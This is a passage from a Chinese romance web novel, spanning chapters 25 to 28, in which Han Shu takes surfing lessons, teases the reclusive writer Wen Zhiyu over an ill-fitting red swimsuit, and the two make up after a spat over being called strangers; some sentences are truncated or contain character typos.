“……” 扎心。 “再来!准备!” 起伏之间,海水冲刷着冲浪板,温柔地拂过韩暑撑于胸腔两侧的手,又悄然退去。 “三——” 韩暑核心收紧,眨眨眼,甩去睫毛上的水滴。 “二——” 身后海风来袭,预示着浪潮的迫近。 “一!” 韩暑猛吸一口气,撑臂,上脚,岸边戒浪的白墙黑瓦映入眼底。 胸腔的憋闷烟消云散,一股难言的爽快经由穿梭指尖的海风、经由冲浪板下像大地一般坚实的海水、经由落在面颊上堪称温柔的晨时日光,席卷她的四肢百骸,又缓慢地渗入骨髓。 她乘风破浪,双目正对前方。 身后,小宇大喊:“可以可以!保持——” 靠近沙滩海浪的流向有变,韩暑重心一偏,狠狠翻进海里。 她好像撞到了膝盖,但一点都不觉得疼,站起来后冲小宇挥手,“我站起来了!是不是站起来了!” 小宇帮她拽回翻掉的浪板,走过来抬起手,“是!恭喜!” 两只手掌相击,飞溅的水滴在阳光下熠熠生辉。 “Yeeeees!!!” “您的柠檬水,慢用。” 春景将玻璃杯放在闻知屿手边,收起托盘正要走,却见方才沉浸于工作对周遭来往人群和嘈杂无动于衷的男人,此刻却抬起头,专心致志地望向前方。 今天冲浪的人不少,她顺着视线看去,找了好一会后,看到韩暑笑容灿烂,蹦跳着和小宇击掌。 春景心念一动,再次望向男人石化一般的侧脸,这才发现他唇边挂着清浅的笑意,方才一扫而过甚至没有发觉。 她不觉勾唇,正要悄无声息地离开,胳膊肘却好巧不巧撞上了摆放绿植的木架,发出一声闷响。 闻知屿应声回头,笑意已然无影无踪,半敛的眸子除了不解以外只剩淡漠。 春景指桌边,“柠檬水,她交代的。” 闻知屿看过去,先是一愣,紧,“谢谢。” ——他和柠檬水的出现。 说话间,韩暑和小宇教练的身影知屿视线逡巡无果,这才推了下眼镜,继。 一节冲浪课需要两个小时的时间。 发回到戒浪,闻知屿还在噼里啪啦的敲着键盘,看样子是文思泉涌了一下。 她悄悄靠进,猛一拍他肩膀,“嘿!” 闻知屿非但没被吓到,甚至头都没回,“屏幕反光,看见你了。” 真没意思。韩暑悻悻地撇嘴,“忙完了吗?” “没有。”闻知屿反手就合上电脑,“走吧,回去再写。” 见状,韩暑赶紧拦住他,“等会等会。” “还有事?”闻知屿回身,这才看清女孩的打扮。 韩暑还穿着连体泳衣,长袖短裤,细白的腿上还沾着湿沙。他像被烫到似的收回目光,却对上了一双湿漉漉的杏眸。于身侧垂落的手,指尖在不受控地蜷缩。 “闻老师,我住在你家白吃白喝还有车接送,还是怪不好意思的。”韩暑眨巴眼睛,笑吟吟道,“不然给我一个报答的机会?” 闻知屿手揣兜,“不需要。” “先听听嘛!”韩暑凑近一步,“刚才有没有看到我在冲浪板上站起来?” “有,恭喜。” “厉害不厉害?” “……厉害。” “那给你个机会和我一样厉害!”韩暑一拍手,“我帮你约了一节课,十分钟之后开始。” 闻知屿两边眉毛同时挑高,“什么?” “体验一节课呗!”韩暑伸出一直藏在身后的手,“给,泳衣。我斥巨资精心挑选。” 闻知屿接过塑料袋,用两根修长的手指夹起一块布料,面露空白,“巨资,精心挑选?” 白衬衫黑西裤vs红泳裤,韩暑差点笑出声。 还好,她掐了一把大腿忍住了,一本正经地解释:“这块面料最舒服,里面还有防走光的紧身裤。你看,多贴心。” 闻知屿抬手就丢了回来,“不需要,不上。” “啊呀来都来了!”韩暑强行塞进他手里,“我要面试呢,可今早没有学员了。你要是不上,咱就得等,说不准得等到下午六七点才能回。” 宅男闻知屿,在晚八个小时回家和红泳裤之间激烈摇摆挣扎。还没想出个结果,就被韩暑生拉硬拽塞进了更衣室。 “我在外面等你啊!” 里面寂静无声。 韩暑这才回到吧台边,放声大笑了起来。 谁让他买东北花袄?这仇,她今天必须报! 春景歪头看她,“你俩没关系?” 韩暑笑容顿收,“没有没有,纯恶搞。” “行。”春景将相机递给她,一并给了把伞,“晒,撑着伞坐在沙滩拍。” “谢谢。”韩暑将相机挂在脖子上,开机试拍,顺便调试参数。 镜头360度旋转。 她透过取景器,捕捉到了被海风拂过的绿叶、窗边喝了一半的冰拿铁、还沾着沙子的冲浪板,还有…… 韩暑从相机后缓缓探出眼睛。 男人赤裸的上半身肌肉紧实精干,红色泳裤非但不恶俗,反倒衬得肤色雪白,于一群黑皮男人中间像白炽灯一样惹人注目。连带着她都忘了买这条泳裤的初衷,发自内心的感叹。 果然,时尚的完成度靠脸! 闻知屿从更衣室出来,立刻接受到来自四面八方的目光。他强忍住没有用脱掉的衬衫西裤捂住胸口,别别扭扭地走了过来。 春景笑眯眯地敲了下吧台,“好靓的泳裤啊帅哥!” “……”闻知屿不着痕迹地往韩暑身旁躲了躲,抿唇没吭气。 韩暑也不吭气。 她都忘了自已还摁着快门,一个劲盯着闻知屿的肩颈看。作为一名母胎solo,她唯一已知的xp就是男人颈侧和手臂的青筋。 闻知屿此刻或许是紧张,颈侧以肉眼可见的频率跳动,连带着青筋起起伏伏。 闻知屿抬手在她眼前挥了下,“走吗?” 韩暑慌忙蹦下高脚椅,掩盖方才的失神,“走走走,小宇教练!” “哎!”小宇咕嘟嘟喝完半杯水,“走。” 三人向沙滩进发,回头率持续升高。 小宇提着冲浪板走在前头,韩暑撑着伞跟在后头,闻知屿则紧紧挨着她,被伞沿戳到都不让开。 韩暑哭笑不得,“哎,你躲什么?” “咳。”闻知屿拽了拽泳裤边,“没什么。” 又走了一阵,闻知屿直接弯腰钻进了伞里。 韩暑:? “至于吗?你这一身肌肉,别人看看怎么了?” 闻知屿又拽了拽泳裤边,“不习惯。” 韩暑只当他害羞,一拍胳膊安慰道:“嗨,你看小宇教练也是光膀子泳裤,你再看那——喏,全都是。” 闻知屿却叹了口气,“麻烦在我上岸前,帮忙找一条浴巾。” 韩暑找到合适的拍摄点,一屁股坐定,把伞架在肩膀上,“我有多余的毛巾,回俱乐部给你一条。” “浴巾。”闻知屿坚持,“一上岸就给我。” 韩暑无语,“你一个大男人怎么还婆婆妈妈的?毛巾浴巾有什么区别吗?” 小宇教练已经放好了冲浪板,招呼着过去上课。 闻知屿刚抬步,闻言驻足,面颊隐约泛着红。他再次拽了拽泳裤,又气又无语,但又因为害臊语速又快声音又低地说了一句。 韩暑没听清,别开伞仰头看他,“你说什么?” “……”闻知屿就差把后槽牙咬崩了,破罐子破摔,“我说,你买的泳裤太小了!” 韩暑眼珠子以毫米为速度下移—— 她原地蹦了起来,被伞把绊了一下痛呼出声,一边单脚蹦哒一边揉脚趾,视线四处乱飘。但即使不再看闻知屿,方才的画面还是深深刻在了脑海里。 泳裤还有尺寸吗?难道不是均码吗?救命! 方才从更衣室出来她怎么没发现?那么多人看他会不会都看到了? 救命!!! 她有罪。 她有十恶不赦的罪。 她她她活该千刀万剐。 闻知屿见她眼神呆滞,还跟孙猴子戏水似的蹦来蹦去,蹙眉问:“你没事吧?” 韩暑转过身拔腿就跑,“对不起对不起!我我我这就去给你找!” 第26章 第26章【VIP】 韩暑找了一整还是没找到,最终不得已买了条丝巾。 返回沙滩回到摄影点,她举起相机兴致勃勃地四处搜寻,力求拍到闻知屿花式入水“帅照”。越过待浪区悠闲的浪人,越过其他俱乐部奋力拼搏的学员,终于,在靠近西侧的海面找到了那熟悉的身影。 恰好一道浪冲了上来,闻知屿趴在板上回头瞥了眼距离,然后挥动双臂开始滑水。 韩暑:? 她还没学划水。 怎么才过了十五分钟,世界都不一样了? 不可能,绝对不可能。 她紧闭一只眼,透过取景器看去,放在快门上的手已经做好了抓拍准备。 没有记录下闻知屿玩跳跳杆摔狗吃屎的画面已是毕生之痛,今天,她就要弥补这一遗憾。 趴在板上的时候,只能感知速度变化和起速后冲浪板压水的触感,但身处第二视角,便能清晰地看到绿浪的起伏和冲浪板在浪壁的推力下形成的陡度。 当板尾和浪檐相聚不过半米,冲浪板形成了一个向下俯冲的态势。小宇教练似乎喊了一句什么,闻知屿紧接着加快了滑水的速度。 几乎是眨眼问,他已经稳稳站在了冲浪板之上,一直到靠近沙滩比较浅的地方才主动跳进海里。 韩暑:??? 在海里摔得七荤八素,两节课才学会站板的她,算什么? 一节课的时问,抓狗吃屎无果,最终只收获了一堆帅照。 闻知屿轻巧地提着浪板回到沙滩时,她还在捧着相机怀疑人生。 “浴巾。” 韩暑差点抬眼,反应过来后脑瓜在脖子上旋转九十度,将丝巾奉上,姿态恭顺,就差点头哈腰陪笑,“没找到浴巾。这个……你凑活一下。” 闻知屿看到那绿油油的配色,眼角抽了抽,但什么都没说,接过围上,“我冲个澡就回。” 韩暑没正眼看,但始终用余光偷瞄,见他整理好后眼疾手快举起相机咔嚓就是一张。 闻知屿:…… 韩暑立刻回看,照片上,男人恰好一脸懵逼的盯着镜头,虽说这么抓都不丑,但红泳裤围绿丝巾足够滑稽。她满意地起身,拍拍腿和屁股上的沙,“走吧!” 闻知屿将一切尽收眼底,轻哧了一声,提着冲浪板跟上。 韩暑赤裸的脚丫踩过沙滩,留下一串脚印。闻知屿走在她侧后方,留下了一串步问距稍大一些脚印。 “哎,你怎么学那么快?” “快吗?” 韩暑气呼呼地瞪他一眼,发现他裸露在外的肌肤微微泛红,于是绕到冲浪板的另一侧,垫脚,将伞举高了一些。 一片阴影落下,闻知屿半眯的眼睛得以完全睁开,女孩因为过于用力而东倒西歪的手臂就在眼前。他握住伞把上半部分,“我来吧。” 韩暑没应声,但松了手,甩甩胳膊。和高人打伞太累,她乐得轻松。 两串脚印变得同频。 韩暑还在怀疑人生,嘟嘟囔囔道:“你天天宅在家也不运动,为什么这么瘦还有肌肉?” 闻知屿无奈,“谁说我不运动?” 韩暑偏头,眼睛睁得老大,“你、运动?” “嗯。” “玩跳跳杆划皮划艇不算。” 闻知屿失笑,“我一直在规律健身。” “那我怎么没见你出门跑步或者去健身房什么的?” “因为我家就有一问健身房。在二楼。” 韩暑:…… 和你们这些有钱人拼了。 恰好小宇教练从后追了上来,“帅哥学得确实快,划水也到位,常年运动吧?” “嗯。”闻知屿点点头。 小宇又冲韩暑道:“下节课你也要练划水了,完了胳膊可能会非常非常疼嗷!” “哦……”韩暑蔫蔫地应,“学冲浪,必须要健身吗?” “主要得核心和胳膊有劲,健身的人上手相对快一些。”小宇顿了顿,补充,“像你这样肩不能扛的,健身效果会非常明显。” “……” 小宇和二人打了个招呼后先走了,留韩暑独自舔舐千疮百孔的心。 见她半天不说话,闻知屿心生警惕,“入住手册上写得很清楚,住客不可以去二楼。你不能去我的健身房。” 韩暑恶狠狠,“谁说要去了!” 闻知屿耸了下肩。也不在意她的态度,反正不侵犯他的私人空问就行。 回到戒浪,闻知屿去冲沙洗澡,韩暑则去找春景。 这会店里的人多了起来。戒浪是家冲浪俱乐部,还是一家咖啡饮品店,因优越的地理位置、雅致的店内陈设和那几扇绝美海景窗而出圈。除了浪人们,很多来后海的游客也会前来打卡。是以春景、她的男友及店里其他两个服务生都忙得脚不沾地。 意式咖啡机持续运转,春景边太多忙不过来,要不你直接带回家, “也卡,将相机还了回去,“有这个就行。” 回程, 韩暑缩在副驾,竭力忽视后座绿条条的纱巾和塑料袋都无法掩盖的红,总觉得哪哪都不自在,于是没话找话道:“你今天状态还不错,找到灵感了吗?” “新题材,没有。”闻,“老本行,想到一个。” “那、你有什么想要问我的吗?” “有。” 韩暑豪迈地一挥手,“问吧!” 好久没回答神金问题,还有点想念。 前方绿灯倒计时,紧接着黄灯闪烁。闻知屿平稳停车,认真地看她,“你如果当义工,是不是全天都要待在这?” “……”韩暑翻了个白眼,“可能吧。” 那他岂不是也要全天待在这里?闻知屿拧眉。 韩暑一眼就看出来他在想什么,没好气道:“你把车借我,不就不用折腾了吗?” 红灯剩下二秒。闻知屿收回视线,“想得美。” 呵!韩暑混不在意地说:“那你就全天待在俱乐部陪我,或者送完我先回家,晚上再来接我。” ——奔波劳顿的又不是她。 闻知屿没说好还是不好,打灯并道,“6月26日,第一个问题。” 几次狼来了另韩暑丧失期待,兴致缺缺,“问。” “如果每天晚上入睡以后,你的灵魂都可以脱离躯体自由行动,但只能做一件事。你选择做什么?” 哟呵!韩暑直起腰,不假思索道:“那我要去做海水里的一滴。” 闻知屿愣了下,“海水?” “对啊!都脱离躯体了,想去哪去哪,当然要去马里亚纳海沟看一看。” 闻知屿食指轻扣方向盘,旋即轻笑出声,“既然都脱离躯体了,怎么不去银行偷保险柜?” 韩暑叹了口气,摇摇头,“有钱固然是好的,但不是谁都能去马里亚纳海沟的。金钱还是让步于理想吧。” 闻知屿笑着摇头,“如果只能做人才能做的事呢?” “怎么还限定条件啊。”韩暑不满,但还是认真思考了一阵,“那我去种花吧!” 这朴实无华的回答。闻知屿挑眉,“嗯?就这?” “什么叫就这?”韩暑一拍大腿,“我之前成天加班,回到家晚上十点十一点,根本没空照料花花草草,别说彩叶芋龟背竹了,连绿萝都一盆接一盆的牺牲。灵魂出窍去给富人们打理花园,能赚钱还能享受园艺时刻,多好啊!” 小蓝拉着两人回到家。 闻知屿一下车,跑到车库角落的储物柜里踢里哐啷地翻找。韩暑不知道他发什么神金,正准备先回屋,他又冲了回来,“给。” 韩暑莫名其妙,“什么?” “园艺工具,种子。”闻知屿将桶塞给她,然后掏出手机。 微信提示音响了。 韩暑打开一看,转账1k元整,备注园艺佣金。 韩暑:…… 有病吧。 闻知屿星星眼,“够吗?不够再加?” “……”韩暑缓缓松手,桶应声坠地,“请问,我现在是灵魂出窍吗?” 闻知屿大手一挥,“两千?” “……” “二千?” “……” “一万?” 韩暑听不下去了,掌心向前叫停,“我请问,你花这么多钱,为什么不请一个专业的园艺师呢?” 闻知屿抓抓下巴,“我不喜欢陌生人来家里。” “那你开什么民宿啊?”韩暑无语到发笑,“退一万步,我也是陌生人啊!” 闻知屿期待落空,神色肉眼可见沉了下来,薄唇抿了又抿,“你是吗?” 他俩才认识将将十天,了解并不深入,虽不是完全陌生,但怎么都不算熟悉。韩暑迟疑,“不是——吗?” 闻知屿转身就走了。 韩暑摸不着头脑,“哎!哎!这些东西怎么办?” 自是无人应答。那抹冷冽的背影也从前院一闪而过,消失在了视线中。 她挠挠头,盯着地下散落的工具和种子发愁。 这人又怎么了?刚才不是还兴致勃勃地砸钱雇她吗?怎么突然就变脸了?这气呼呼地往哪去啊? “怎么跟个小姑娘似的,难不成还跑回卧室蒙被子哭去啦?” 韩暑默默吐槽,又默默地将种子和工具丢回桶里。 闻知屿径直冲回卧室,又洗了个澡,头发都没擦干便将毛巾丢到一边,一头栽到床上面部朝下趴进枕头,不动了。 陌生人。 韩暑说他是陌生人。 闻知屿气呼呼地翻了个身仰躺,又气呼呼地盯着天花板。 他同意她长期住在家里,虽然二楼还是不然她上来吧但一楼可以自由活动吧?她说是陌生人。 他不仅接送她看猫,还接送她往返后海。二十公里天天往返!她说是陌生人。 闻知屿一骨碌坐了起来,摁了几下指关节,又一拳砸向床垫,终于下定决心。 他,要让这个白眼狼看看,什么叫做真正的陌生人。 第27章 第27章【VIP】 韩暑回屋休息,顺便查看了下家族群里的前方战报。 音乐演出、精致的中西结合早点、甲板上日落时分的壮阔,还有爸妈的合影。爸爸笑容灿烂,徐女士却是一如既往地板着脸。 她回了一个“棒棒哒”表情包。 躺了一阵,剧烈运动后的饥饿感如潮水般来袭。韩暑不情愿地爬起来,去厨房找饭吃。 一层静悄悄。 韩暑看了眼挂钟,一点零五分,早已过了闻知屿固定的午饭时间。她想了想,还是折回楼梯口,试探喊:“闻知屿?” 二层也静悄悄。 韩暑放大嗓门,“闻知屿你吃午饭吗?!” 门框轻响,紧接着是地毯上闷闷的脚步声。闻知屿自楼梯缓步而下,轻飘飘地扫了韩暑一眼,擦肩而过时甚至加快脚步,兀自向厨房走去。 韩暑:? 又犯病了? 她一脸疑惑地跟上。闻知屿正在冰箱里挑挑拣拣,听到动静后脚尖连带身形一转,用后脑勺对准她。 韩暑拉开住客冰箱,一边搜寻最简易烹饪最快的食材一边问,“你怎么了?” 然而闻知屿脚尖再次旋转,继续用后脑勺表达坚定决心。 得,继续犯病吧。 她就不信吃饭的时候还能背对她。 十分钟后,韩暑捧着炒饭刚坐定,闻知屿便端碗站了起来,旋转180度,继续背对她。然而餐桌上还摆放着一盘白灼虾和鱼香肉丝,他只得向后伸手盲夹菜。 韩暑:…… 她确定了,他就是在针对她。 可到底哪里惹到这位小学鸡了? “闻知屿?” 闻知屿不说话,但狠狠叨了一筷子鱼香肉丝。 韩暑发自内心地叹了口气,“哎!怎么了嘛!” 闻知屿不说话,但狠狠叨—— 没叨起来。 韩暑眼疾手快用筷柄别开他的筷尖,夹起了他想夹的那只虾,毫不客气地剥皮塞进嘴里。 闻知屿因为震惊忘记了冷战的事情,扭头,“干什么?” 韩暑面露无辜,但极其用力咀嚼。 挑衅。 赤裸裸的挑衅。 闻知屿蹙眉,“那是我的虾。” “昂!”韩暑吞咽,“别这么小气嘛,我就吃一个。” 闻知屿彻底转过身来,放下碗筷,眸底幽暗,“你会吃陌生人的虾吗?” “啊?”韩暑眨巴眼睛,“陌生人,什么陌生——” 话音戛然而止。 韩暑目瞪口呆,手一松,筷子当啷一声掉在了桌上。 闻知屿抬起下巴居高临下,像一只竖着尾巴耀武扬威的猫。 韩暑因为难以置信语速变得迟缓,“难道你生气,是因为我说咱俩是陌生人?” “没生气。”闻知屿说。 “没生气你不搭理我?没生气你跟电线杆似地站着吃饭?” “这是对待陌生人的正确态度。” “你还说你没生气?”韩暑也站了起来,想解释又无从说起,双手在空中挥了好几下,最终变为一个掌心相对恨不得掐死他的姿势,“就是因为我说陌生人是不是?” 闻知屿冷哼了一声,扭头走了。 韩暑冲他的背影狠狠挥了两拳后追上去,“哎到底是不是嘛?你说是我就和你解释。” 闻知屿加快脚步走上楼梯,韩暑没法追上二楼,只得站在楼梯口喊道:“哎你跑什么跑?有本事说清楚!” 头顶脚步一顿,男人冷淡地说:“我不喜欢和陌生人说话。” 紧接着便是门用力闭合的声音。 韩暑:…… 龟毛哥!!!!!! 她气呼呼地回餐厅吃饭,因为过于无语,吃掉了盘子里所有的虾。 让他莫名其妙地发脾气还不听人解释,吃掉他的虾,气死他! 闻知屿冲回书房,在门边的小板凳坐定,慢慢吐掉胸腔内憋了好一阵的浊气。 好险。 差点就原谅她了。 他摁了摁肚子,强烈的饥饿感侵蚀了他一半的大脑。另一半大脑里,填满了三个字。 陌生人。 为什么?为什么韩暑和全世界除他以外的每个人都笑脸相迎,唯独对他,又凶又不客气?闻知屿闻知屿闻知屿,喊他名字的时候怎么一点都不温柔? 面对她丈夫她柔声细语,勉强可以用关系亲近解释。可上午在戒浪,韩暑甜甜地喊老板“春景”,笑起来眼睛弯弯像月牙。可她们才见过两面!那位叫春景的女人才是陌生人才对吧? 春景,老公,护士小姐姐,大咪二咪小咪,在她嘴里都那么温柔亲近。为什么只有他是闻知屿?为什么他叫闻知屿?! 闻知屿气了好久,终于,写着饥饿感的那半边脑子打败了 他站起来,整理了下衬衫式居家服的领口和袖口,抚平腰腹门反光,他上下打量了一番。 衣衫整齐得一丝不苟,面容冷峻疏离。 很好。 此刻,,坚如磐石。 他,绝不能那么轻易地原谅她! 闻知屿回到餐厅,这里已没有韩暑的身影。一并消失的,还有桌上的大半盘白灼虾。 他凝视空盘半晌,掩前襟坐定,端起碗默默就着鱼香肉丝吃掉剩下的米饭。 虽然他也很想吃,但韩暑吃就吃了吧。 她不常运动,冲浪后需要补充大量蛋白质,吃点虾也好。 吃就吃吧。 闻知屿将碗盘放进水池,挤上洗洁精,打算等晚饭结束一并清洗。旁边的沥水架上,韩暑方才用的那只碗还挂着水珠。 等等! 闻知屿盯着那只碗,忽然觉得不太对。 不是不能原谅她吗?不是陌生人吗?为什么这么轻易地接受她吃掉自己口粮的事实? 不行! 他,要维护自己的权益,质问她为何吃掉陌生人的虾! 思及此,闻知屿擦净手,大步冲向客房,手攥拳狠狠砸向房门,却在距离五毫米时停止。 维持这个姿势半晌,他缓缓放下手,也松了拳头。 还是算了吧。 她不常运动,剧烈体力消耗外加吃了饭肯定又累又困,睡一会也好。 算了吧。 闻知屿一步三回头回到卧室,准备趁饭晕也休息一阵,可那该死的眼皮怎么都闭不上。 他盯着映着阳光的天花板,陷入沉思。 到底怎么样,才能向她展示什么叫真正的陌生人?! 韩暑一沾枕头就睡,直到傍晚天色渐暗才醒。 她睁开一只眼,茫然地张望了一圈,一时没反应过来今夕何夕。足足缓了五分钟,记忆才一点点回笼。 冲浪课,午饭,陌生人,以及龟毛哥。 韩暑鼻子出气,慢吞吞地爬起来,拉开窗帘,正要瞄一眼今天有没有绝美夕阳,却被院子里的人影吸引了目光。 闻知屿穿着围裙蹲在前院,一手拎着桶一手捏着小铲子。 他看看左手,又看看右手,右手的铲子从左手的桶里铲了一兜种子,手一挥,种子像雨滴一样飞了出去。 “哎哎!”韩暑一把拉开窗,“不是那样种的!” 闻知屿瞥了她一眼,毫不犹豫又一铲子下去,一挥手—— “等等!” 韩暑砰地关上窗,拔腿就向前院。 闻知屿还在天女散花。 不知道是不是错觉,她总觉得他是故意的,故意气她。 韩暑来不及多想,一把夺过铲子,“之前的烂根还没清理,土还没翻,这样种成活率很低的!” 闻知屿面无表情,“活不活是我的院子,和你这个陌生人有什么关系?” 韩暑气急,“你一大男人,心眼怎么这么小?” “我心眼小?”闻知屿冷漠的面具碎裂,用食指指自己,“我让你吃了我的虾,让你住进我的家,我心眼小?” “我——”韩暑理亏,哑火了,用小铲子有一下没一下地戳地,弱弱道,“我就是随口一说嘛……” 闻知屿气笑了,用力脱掉手套,“随口一说?然后随口吃掉我的虾,随意住进我的家?” “那、那本来就不是很熟悉嘛……”韩暑撇嘴,“我只知道你叫闻知屿是个作家,对你的家庭关系社会关系一无所知,怎么都算不上熟人吧?” 两人并排蹲,一时相顾无言。 闻知屿发现自己被说服了。 他看过蘑菇脑袋的身份证,知道她是北城人,知道她大致的家庭情况。但反过来,蘑菇脑袋对他知之甚少。 任何关系都是双向的,了解也是双向的。 于是他清了清嗓子,盯着天边的一朵像蘑菇的云,“我出生在北城,后来在南城生活过一段时间。没什么朋友,社会关*系就是工作关系。我也没有家,父母在很小的时候去世了。” 韩暑呼吸一窒,侧首,只望见了男人清俊淡漠的侧颜。他语调很轻,没什么情绪,可她从胃到胸口都一阵阵泛着难受。 半晌,她故作轻松地说:“这样啊,那我现在了解了!” 闻知屿捏了捏手套的指头部分,又掸了掸土,别扭地问:“咳,那还是陌生人吗?” 韩暑想了想,“有点熟悉的陌生人?” 闻知屿倏然回眸,正要谴责,却撞进了一双亮晶晶的杏眸。八百字腹稿还没出口,便烟消云散了。 韩暑豪迈地挥铲子,“你说是什么就是什么,你的房子你的民宿,你说了算。” 原是开玩笑,不想闻知屿认真思考后,谨慎开口,“朋友?” 韩暑一怔。 闻知屿敏锐察觉,立刻别开目光,“我随便说的,陌生人就陌生——” “同意。”韩暑放下铲子,伸出右手,“昂!” 闻知屿愣愣地盯着那沾了泥土的手,好半天没动。 “磨叽。”韩暑直接上手拉住男人修长的手指,一边上下挥动一边笑眯眯地说,“你好,还有点陌生的朋友。” 第28章 第28章【VIP】 闻知屿回握,很含蓄地点了下头。 韩暑这才松手,捡起小铲子,敲了敲桶,“请问闻老师,现在能对你播种的方式提出意见了吗?” 闻知屿递给她一只手套,“嗯。” 韩暑勾唇,“那听我指挥?” 闻知屿带上另一只,“嗯。” 韩暑差点像幼儿L园老师一样用夸张的语气说一句“真乖”。 两人配合,翻了一遍土壤清除掉烂根,播种后又耙了一遍,最后拉管子浇透水,大功告成。 闻知屿顺便冲洗了下工具,“经常种花种草吗?” 韩暑取掉手套,在门前的台阶上坐定,“就养过几盆绿植,不算吧。” 闻知屿手上动作一顿,喷头随之偏离了轨迹,在最后一抹夕阳下星辉闪烁。 韩暑撑着下巴笑,“怎么,感觉我很有经验?” “嗯。” “看视频学的,今天第一次实践。” 闻知屿轻挑眉梢,了然。 韩暑转转眼珠,“我免费帮你种花,够不够意思?” “钱收了。” “不要。”韩暑暗道一声无趣,“但我有点别的请求。” 冲掉泥沙,闻知屿将工具放在架子上沥水,“什么?” “我想借你的电脑用一下,修图。” 闻知屿眯眼,“我家两台电脑,台式在二楼,笔记本上很多未发表的初稿。你要借哪个?” 韩暑抓抓手背上被蚊子咬的大包,“身为优秀的住客我当然遵守规定不去二楼,笔记本可以吗?你要不放心,在旁边监督我,怎么样?” 怎么样? 当闻知屿把笔记本递给韩暑的时候,心都在颤抖。这可是他思维大脑乃至十根手指的延伸,如同他的神经末梢一般脆弱。 韩暑啪掀开屏幕,啪嗯下空格,噼里啪啦地下载了ps,嘣一声插上读卡器。 闻知屿快把指关节捏碎了。 韩暑睨他,“我不看你的文档,别紧张。” 闻知屿喉结滚动,“快点弄。” “成。”她动作麻溜地找到名为100canon的文件夹,双指点触控板下滑,随意选了一张放大,“你看,给你拍得帅吧?” 闻知屿很少拍照,故而心生好奇,从侧边的单人沙发挪至韩暑身后。 长焦镜头还原了每一个细节。 因为收紧核心用力比海岸线都清晰的腹肌,微微张开肌肉线条流畅的手臂肩颈,目视前方专注至极的眼神,包括棱角分明的下颌挂着的水滴。 韩暑一边花式夸奖一边往后翻,“你看全是帅照,都要选择困难症了。不然你挑一张,我给咱修——” 一张鲜红的泳裤和靠近裤边的两块腹肌占满了屏幕。 韩暑:!!! OMG!这是什么!!! 她开始狂按右键,频率堪比筋膜枪,试图用正常照片冲刷掉某难以直视的特写。 然而,无论怎么翻,无论怎么努力,都翻不出红泳裤的掌心。 韩暑崩溃了,吧唧把电脑塞给身后的闻知屿,然后双手捂眼额头抵住茶几,“你你你快把照片删掉!!!” “……”闻知屿无语到发笑,“你难道不应该给我一个解释?” 韩暑不敢抬头,无能狂怒,“这不是我拍的!!!” 不在意他人目光如闻知屿,看着大几十张这个角度的照片脸皮也挂不住,冷冰冰道:“相机一直在你手里。” “可真不是我拍的!”韩暑百口莫辩,差点哭出来,“有没有可能是误触?” 闻知屿利落地全选删除,然后屏幕一转,“姑且算误触,那这张呢?” 韩暑龟速抬头,小心翼翼从指头缝里露出一只眼。看清后,她直接来了一个花容失色外加心虚结巴,“不不不是,真不是!我就就就就是……” 闻知屿自上而下看是一个十分倾斜的视角,都被那大红大绿和白花花的肉/体刺得眼睛疼。 没眼看,实在是没眼看。 “就是什么?”他的语气因为压着火而不复往日的平静,又因为竭力克制咬字极重,给人一种山雨欲来的感觉。 如果没有前面的不可描述照片,这张完全可以用恶搞玩笑解释。可现在,便自然而然被归为猥琐偷拍之类,而任何解释都是欲盖弥彰。 “我真没有坏心思,你相信我!” 韩暑竭力睁大眼睛,用清澈的眼神表达无辜,可闻知屿敛目不看她。情急之下,她一把抓向他的胳膊,然而后者很迅速躲开。 已发射的炮弹以无可反悔的速度,直奔男人的大腿。与此同时,腿侧陌生的触感另闻知屿警铃大作,立刻起身。 “你相信——啊!!!” 韩暑眼前一黑鼻子一痛,眼泪唰得流了下来。 反作用下,闻知屿捂着脑壳跌坐回沙发,正想让她挪开,便看一片,紧接着单股鼻血喷涌而出,,途径下巴,血珠即将滴落—— 正下方,就是他的笔记本。 千钧一发之际,闻知屿伸出双手呈要饭状。一滴血吧嗒,正中掌心。 ,茫然地下移视线,“!!!” 鼻血! 流鼻血! 先去卫生间! 她从来,眼看已转变为半蹲胜利在望,天灵盖一痛,鼻血霎时狂飙。 闻知屿一只手还登在韩暑的下巴,吃痛闷哼,突然觉得自己脸上有什么滑过,于是抬手一摸。 也是血。 他赶紧也登住自己的下巴,“走,卫生间!” 韩暑一仰头,才看到闻知屿的脸上也挂着两管鼻血。 韩暑:…… 这对吗!!! 她被他铁头功袭击,他再被她铁头功袭击。 剧本都不能这么演吧!!! 但此刻还不到问责的时候,当务之急是止血。 两人互相搀扶着起身,以连体婴的姿势肩并肩挤进卫生间的门,洗漱台镜子的感应灯即刻亮起。 韩暑只看了一眼,扑哧笑出声来。 闻知屿两手还登着俩人的下巴,掌心积了血不敢妄动,“快拿纸!” “在哪在哪?” “应该在右边那个柜子!” 韩暑下巴几乎抵住他的手掌,探身打开,“只有垃圾袋!” “那左边?” “空的!” “下面下面,水池下面的柜子!” “……” 一通兵荒马乱后,韩暑一只鼻孔塞住卫生纸,闻知屿两只鼻孔塞住卫生纸,一人一边扒着沙发扶手,鼻梁捂着个冰袋。 三分钟后。 韩暑摸摸鼻子,“止血了吗?” 闻知屿说:“再敷一会。” “哦。” 五分钟后。 韩暑挠了挠脸颊,“好冰,还有点痒。” 闻知屿头不动斜过眼珠,“别乱动,等会。” “哦。” 又过了两分钟。 “闻知屿。” “快了别急。” 韩暑也斜眼看他,嘴角控制不住抽搐,“你不觉得很搞笑吗?” 闻知屿:“……” “哈哈哈哈哈哈哈哈!” “……别笑,一会又出血了。” “Henhenhenhenhen!”(闭嘴狂笑版) “……” 韩暑正式开始修图时,闻知屿已经失去了在旁监工的力气,更失去了质问她的心思,最终连成品图都顾不得看,提着电脑就走。 正式长租的第四天,也是鼻血狂流之后的隔天,韩暑正式通过面试,光荣地成为戒浪的摄影义工,拥有免费食宿、一对一冲浪课两折优惠外加免费使用冲浪板的福利待遇。 早上上完课,连拍了三组学员照片已经是中午,韩暑便拉着闻知屿去吃后安粉。 路边摊,原以为娇生惯养的富人会不习惯,都做好准备打包回俱乐部吃的准备,不想他抽了两张纸巾擦凳子桌子,坐下后还自然地掰开一次性筷子,互相摩擦去除倒刺。 “哎哟,很有经验啊闻老师。还以为你是那种出门只吃米其林餐厅的阔少呢!” 闻知屿瞥她,“我可不是阔少。” 后安粉看起来清淡,但味道鲜美爽口,粉吸满海鲜熬制的汤汁入口即化。 韩暑猛嗦一口,含糊道:“你如果不是阔少,那我就是乞丐喽?” 闻知屿淡声道:“有家,就不是乞丐。” 韩暑手一抖夹空了,掩饰一般用筷子敲了敲碗沿,“行吧,那我就是平平无奇的仆人,你是住在城堡里的豌豆公主。” 